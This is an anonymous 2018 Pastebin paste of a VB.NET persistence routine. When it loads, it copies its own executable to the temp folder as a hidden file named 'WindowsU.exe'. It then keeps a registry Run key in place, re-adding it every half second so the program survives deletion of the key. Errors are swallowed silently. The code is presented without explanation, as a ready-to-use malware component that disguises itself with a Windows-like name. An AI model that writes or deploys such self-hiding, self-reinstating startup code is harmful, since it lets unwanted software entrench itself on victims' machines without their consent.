Guest User

Untitled

a guest
Feb 18th, 2018
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.     Dim MyPath As String = IO.Path.GetTempPath & "WindowsU.exe"
  2.     Dim MyValue As String = "WindowsU"
  3.     Sub xLoad() Handles MyBase.Load
  4.         'Start Startup & Persistence
  5.        Dim T As New Threading.Thread(AddressOf Persistence)
  6.         T.Start()
  7.     End Sub
  8.     Sub Persistence()
  9.         While True
  10.             If Not CheckKey() Then AddKey(MyValue, MyPath)
  11.             Threading.Thread.Sleep(500)
  12.         End While
  13.     End Sub
  14.     Private Function CheckKey() As Boolean
  15.         Dim R As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
  16.         Dim V() As String = R.GetValueNames()
  17.         Dim O As String = vbNullString
  18.         R.Close()
  19.         For Each Str As String In V
  20.             O = O & Str & "|"
  21.         Next
  22.         If O.Contains(MyValue) Then Return True Else Return False
  23.     End Function
  24.     Private Sub AddKey(ByVal Value As String, ByVal fPath As String)
  25.         Try
  26.             If Not IO.File.Exists(fPath) Then IO.File.WriteAllBytes(fPath, IO.File.ReadAllBytes(Application.ExecutablePath))
  27.     IO.File.SetAttributes(fPath, 2)
  28.             Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True).SetValue(MyValue, MyPath)
  29.         Catch
  30.         End Try
  31.     End Sub
Add Comment
Please, Sign In to add comment